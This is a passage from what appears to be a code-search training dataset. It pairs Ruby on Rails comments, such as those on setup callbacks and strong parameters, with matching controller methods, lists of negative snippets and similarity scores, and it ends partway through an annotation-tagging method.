"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to portal_bookings_url, notice: 'booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to user_bookings_url, notice: 'Application was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @businessbook = Businessbook.find(params[:id])\n @businessbook.destroy\n\n respond_to do |format|\n format.html { redirect_to businessbooks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking.destroy\n respond_to do |format|\n format.html { redirect_to home_path, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fg_booking.destroy\n respond_to do |format|\n format.html { redirect_to fg_bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @title = \"Destroy Book\"\n\n # @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.json { head :ok }\n end\n end",
"def delete\n api_delete(\"/listings/#{@listing_id}\")\n end",
"def destroy\n booking = Booking.find(params[:id])\n\n # Check if user is the owner of the booking\n if current_user[:id] == booking[:user_id]\n if booking.destroy\n render json: { status: 'SUCCESS', message: 'Deleted booking', data: booking }, status: :ok\n else\n render json: { status: 'FAILURE', message: 'Something went wrong' }, status: :unprocessable_entity\n end\n end\n end",
"def destroy\n @tblbooking.destroy\n respond_to do |format|\n format.html { redirect_to tbl_bookings_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_booking = TestBooking.find(params[:id])\n @test_booking.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_bookings_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tablebooking.destroy\n respond_to do |format|\n format.html { redirect_to tablebookings_url, notice: 'Tablebooking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book = Book.find(params[:id])\n @book.destroy\n\n respond_to do |format|\n format.html { redirect_to books_url }\n format.xml { head :ok }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book_progress.destroy\n respond_to do |format|\n format.html { redirect_to book_progresses_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n booking = @booking\n @booking.destroy\n respond_to do |format|\n flash[:success] = \"Your Booking was Cancelled Successfully\"\n format.html { redirect_to bookings_url}\n format.json { head :no_content }\n end\n end",
"def destroy\n @booking_status.destroy\n respond_to do |format|\n format.html { redirect_to booking_statuses_url, notice: 'Booking status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book.destroy\n respond_to do |format|\n format.html { redirect_to books_url, notice: 'Book was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @book_step = BookStep.find(params[:id])\n @book_step.destroy\n\n respond_to do |format|\n format.html { redirect_to book_steps_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bidding.destroy\n respond_to do |format|\n format.html { redirect_to biddings_url, notice: 'Bidding was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n if @booking.destroy\n respond_to do |format|\n format.html { redirect_to grounds_url, notice: 'Booking was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @bookkeeping.destroy\n\n head :no_content\n end"
] | [
"0.7661001",
"0.7661001",
"0.7661001",
"0.7661001",
"0.76578903",
"0.7566007",
"0.73963106",
"0.7360352",
"0.7360352",
"0.7291433",
"0.72711855",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.7249009",
"0.72489697",
"0.7247771",
"0.7244145",
"0.7244145",
"0.723994",
"0.7239492",
"0.72394645",
"0.7228359",
"0.7219144",
"0.720519",
"0.71994585",
"0.7186226",
"0.7174033",
"0.7170673",
"0.716959",
"0.7155602",
"0.7153943",
"0.7148704",
"0.7146441",
"0.7142774",
"0.7140069",
"0.7140069",
"0.7140069",
"0.7140069",
"0.7140069",
"0.7140069",
"0.7140069",
"0.7140069",
"0.7140069",
"0.7140069",
"0.7140069",
"0.7140069",
"0.7138509",
"0.7138509",
"0.7133107",
"0.71218896",
"0.7105502",
"0.708725",
"0.70855874",
"0.70855874",
"0.70855874",
"0.70855874",
"0.70855874",
"0.70855874",
"0.70855874",
"0.70768243",
"0.7074583",
"0.706798",
"0.7060651",
"0.70521206",
"0.7043045",
"0.703339",
"0.7020353",
"0.7010413",
"0.7006597",
"0.7005661",
"0.6986777",
"0.6973379",
"0.69599944",
"0.6955862",
"0.69540435",
"0.69540215",
"0.69531184",
"0.695177",
"0.695177",
"0.6939915",
"0.693329",
"0.6922779",
"0.69220906"
] | 0.75501525 | 7 |
Use callbacks to share common setup or constraints between actions. | def set_booking
@booking = Booking.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def setup\n # override and do something appropriate\n end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def action\n end",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def setup\n # override this if needed\n end",
"def matt_custom_action_begin(label); end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def lookup_action; end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def around_hooks; end",
"def release_actions; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def action_target()\n \n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def call\n setup_context\n super\n end",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end"
] | [
"0.6163443",
"0.604317",
"0.5943409",
"0.59143174",
"0.5887026",
"0.58335453",
"0.57738566",
"0.5701527",
"0.5701527",
"0.56534666",
"0.5618685",
"0.54237175",
"0.5407991",
"0.5407991",
"0.5407991",
"0.5394463",
"0.5376582",
"0.5355932",
"0.53376216",
"0.5337122",
"0.5329516",
"0.5311442",
"0.52963835",
"0.52955836",
"0.5295297",
"0.5258503",
"0.52442217",
"0.5235414",
"0.5235414",
"0.5235414",
"0.5235414",
"0.5235414",
"0.5234908",
"0.5230927",
"0.52263695",
"0.5222485",
"0.5216462",
"0.52128595",
"0.52070963",
"0.520529",
"0.517586",
"0.5174021",
"0.5172379",
"0.5165636",
"0.5161574",
"0.51556087",
"0.5153217",
"0.5152898",
"0.5151238",
"0.5144674",
"0.51387095",
"0.51342636",
"0.5113545",
"0.51131564",
"0.51131564",
"0.5107665",
"0.5107052",
"0.50908124",
"0.5089785",
"0.50814754",
"0.50807786",
"0.5064482",
"0.5053022",
"0.50526255",
"0.5050246",
"0.5050246",
"0.50329554",
"0.5023997",
"0.5021236",
"0.5014815",
"0.5014393",
"0.4999298",
"0.49990913",
"0.4997733",
"0.49884573",
"0.49884573",
"0.49840933",
"0.49786162",
"0.49784446",
"0.49782816",
"0.49659815",
"0.49655175",
"0.4956222",
"0.49543875",
"0.49536037",
"0.495265",
"0.4951427",
"0.49438462",
"0.49436793",
"0.49335384",
"0.49321616",
"0.49264926",
"0.49247074",
"0.49246994",
"0.49226475",
"0.49194494",
"0.49152806",
"0.49149707",
"0.49149227",
"0.49144953",
"0.49141943"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def booking_params
params.require(:booking).permit(:time, :needs_supplies, :hours, :price)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
returns true or false to indicate the tags have changed | def annotate_with(annotations, attr = 'tag', owner = User.current_user, user_owned_only = false)
if annotations.is_a?(String)
annotations = annotations.split(',').map(&:strip).uniq
elsif annotations.is_a?(Array)
annotations = annotations.map(&:strip).uniq
else
annotations = []
end
potential_values = Array(annotations).uniq(&:downcase).compact
existing = send("#{attr}_annotations")
params = {}
param_index = 0
any_deletes = false
duplicates = []
existing.each do |ann|
if user_owned_only && ann.source != owner
params[(param_index += 1).to_s] = { id: ann.id }
elsif ann.persisted?
index = potential_values.index { |v| v.casecmp(ann.value_content) == 0 }
if index
duplicates << index
